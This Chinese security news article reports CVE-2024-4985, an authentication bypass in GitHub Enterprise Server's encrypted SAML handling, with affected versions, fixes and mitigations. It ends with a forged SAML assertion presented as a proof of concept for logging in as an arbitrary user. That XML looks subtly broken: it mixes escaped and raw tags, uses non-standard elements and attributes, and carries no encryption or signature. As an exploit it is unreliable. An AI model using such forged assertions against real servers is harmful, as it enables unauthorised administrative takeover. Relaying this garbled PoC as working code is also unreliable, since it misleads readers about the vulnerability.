可绕过身份验证,GitHub企业服务器曝满分漏洞,附PoC

近日,安全研究人员披露了GitHub企业服务器(GHES)的关键漏洞(CVE-2024-4985,cvss得分:10.0),该漏洞允许未经授权的攻击者,在不需要预先认证的情况下访问GHES实例。漏洞影响所有GHES 3.13.0之前的版本,并在3.9.15、3.10.12、3.11.10和3.12.4版本中得到修复。

目前GitHub已经推出了修复措施,没有发现该漏洞已经被大规模利用,用户可将GHES更新到已修补的版本(3.9.15、3.10.12、3.11.10、3.12.4或更高版本)。如果无法立即更新,考虑暂时禁用SAML认证或加密断言功能作为临时缓解措施。

GHES是一个自托管的软件开发平台,允许组织使用Git版本控制存储和构建软件,并自动化部署流程。

该漏洞利用了GHES处理加密的SAML声明的方式中的一个缺陷。攻击者可以创建一个包含正确用户信息的假SAML声明。当GHES处理一个假的SAML声明时,它将无法正确验证其签名,从而允许攻击者访问GHES实例。

成功利用这个漏洞可能允许未经授权的攻击者获得对GHES实例的完全管理控制权,使他们能够访问所有数据并在系统上执行任何操作。

GitHub进一步指出,默认情况下不启用加密断言,而且此漏洞不影响那些不使用SAML单一登录(SSO)或使用SAML SSO认证但没有加密断言的实例。加密断言允许网站管理员通过在认证过程中对SAML身份提供者(IdP)发送的消息进行加密,来提高GHES实例的安全性。

附PoC

代码语言:javascript
复制
<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">

<Audience>https://your-ghes-instance.com</Audience>

<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">

&lt;SubjectConfirmationData&gt;

  &lt;NameID Type=&#34;urn:oasis:names:tc:SAML:2.0:nameid-type:persistent&#34; Format=&#34;urn:oasis:names:tc:SAML:2.0:nameid-format:basic&#34;&gt;jdoe&lt;/NameID&gt;

&lt;/SubjectConfirmationData&gt;

</SubjectConfirmation>

<AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">

&lt;AuthnMethod&gt;urn:oasis:names:tc:SAML:2.0:methodName:password&lt;/AuthnMethod&gt;

</AuthnStatement>

<AttributeStatement>

&lt;Attribute Name=&#34;urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10&#34;&gt;Acme Corporation&lt;/Attribute&gt;

&lt;Attribute Name=&#34;urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4&#34;&gt;jdoe@acme.com&lt;/Attribute&gt;

</AttributeStatement>

</Assertion>

参考资料:
https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
https://thehackernews.com/2024/05/critical-github-enterprise-server-flaw.html